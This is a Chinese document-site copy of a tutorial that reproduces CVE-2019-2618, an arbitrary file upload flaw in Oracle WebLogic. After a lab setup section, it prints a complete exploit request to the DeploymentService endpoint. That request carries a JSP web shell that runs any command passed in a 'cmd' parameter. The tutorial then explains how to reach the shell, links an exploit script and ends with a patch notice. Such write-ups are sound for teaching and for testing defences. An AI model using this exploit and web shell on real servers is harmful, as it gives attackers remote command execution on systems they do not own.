版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、CVE-2019-2618 WebLogic任意文件上传漏洞(CVE-2019-2618)复现 作者:Mature原文链接:/s/uBs-TkHFSSv7_Dv-CXGdng本文由 干货 收集整理:/test/index.phpWebLogic组件介绍 WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据 库应用的Java应用服务器。 将Java的动态功能和J
2、ava Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server) 之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。 漏洞分析 CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的P
3、OST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。 影响范围 目前据统计,在全球范围内对互联网开放WebLogic的资产数量多达35,894台,其中归属中国地区的受影响资产数量为1万以上。 目前受影响的WebLogic版本:WebLogic 、、环境搭建: 1. weblogic.0安装 下载地址: /technetwo . ownloads/index.html开始安装:(需要java环境支持,记得配置JAVA环境变量)82. 打开cmd执行: C:Progra1Javaj
4、dk1.8.0_121binjava -jar fmw_.0_wls.jar用 C:Program FilesJavajdk1.8.0_121bin 目录下的 java.exe 来执行weblogic12c的jar包(默认使用顺序,似乎首先用的是C:Program FilesJavajdk1.8.0_121jrebin下的java.exe,所以会包jre不是有效的JDK),所以在cmd里要输入C:Progra1Javajdk1.8.0_121binjava - jar fmw_.0_wls.jar(这里之所以要用Progra1 来代替Program Files是
5、因为有 空格 会识别错误) 3. 等待一会会弹出安装程序: 4. 安装完成后会出现配置向导(有一项是配置weblogic的账户和 的,要记住这个账号和 。复现会用到)5. 配置完成后,找到startWebLogic.cmd双击启动weblodgic6.访问 :7001/console 验证 复现: 1. 访问 :7001/console ,利用burpsuit抓包。将数据包修改为poc: POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1 Host: 127.0.0
6、.1:7001User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0 Accept: text/html, image/gif, image/jpeg, */*; q=.2Connection: keep-alive username: weblogic password: Asd123456 wl_request_type: app_uploadwl_upload_application_name: .tmp_WL_internalbea_wls_internal9j4dqk
7、war wl_upload_delta: truearchive: true serverName: pyn3rd server_version: Content-Type: multipart/form-data; boundary= 55365303813990412251182616919Content-Length: 1130 55365303813990412251182616919Content-Disposition: form-data; name=img; filename=shell11.jsp Content-Type: application/octet
8、-streamCommands with JSP%if (request.getParameter(cmd) != null) out.println(Command: + request.getParameter(cmd) + ); Process p;if ( System.getProperty().toLowerCase().indexOf(windows) != -1)p = Runtime.getRuntime().exec(cmd.exe /C + request.getParameter(cmd);elsep = Runtime.getRuntime().exec
9、(request.getParameter(cmd);OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine();while ( disr != null ) out.println(disr); disr = dis.readLine();% 55365303813990412251182616919 2. 发送到Repeater,将需要修改的地方改掉
10、.点击go。可以看到成功上传,并显示了路径。 3. 我们可以直接通过访问: :7001/bea_wls_internal/she l11.jsp 来访问我们上传的文件。 我们上传的文件是一个简单的执行系统命令的文件。可以更改POC中shell11.jsp的内容来上传不同的文件。 4. 附 一 个 github 上 的 py 脚 本 : /jas502n/cve-2019-2618 脚本使用: 修复建议: Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞相关链接: /technetwork/security-advisory/cpuapr2019-5072813.html请受影响用户
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 四川嘉祥教育集团2025-2026学年高二下学期期中质量监测数学试题(含答案)
- 创新项目后评价评定报告
- 核岛安全壳钢衬里模块化吊装施工作业指导书
- 三年级数学(上)计算题专项练习附答案集锦
- 我国玻璃钢管道行业发展分析报告
- 教科版八年级物理下册实验器材采购计划
- 2025年河北省三支一扶支教岗位招聘考试真题及答案
- 2026年视频监控设备租赁合同协议
- 工程轻便水龙施工方案
- 苏教版小学数学四年级上册全册教案
- 第四章 《金瓶梅》
- 传感器技术与应用-说课
- GB/T 3452.4-2020液压气动用O形橡胶密封圈第4部分:抗挤压环(挡环)
- GB/T 13816-1992焊接接头脉动拉伸疲劳试验方法
- 2022年养老护理员理论考试题库(600题)
- 碳捕集、利用与封存技术课件
- 翰威特-绩效管理理论与操作实务
- 新生儿听力筛查(共29张)课件
- 《消防安全技术实务》课本完整版
- (精心整理)数学史知识点及答案
- 王家岭煤矿初设说明书201204
评论
0/150
提交评论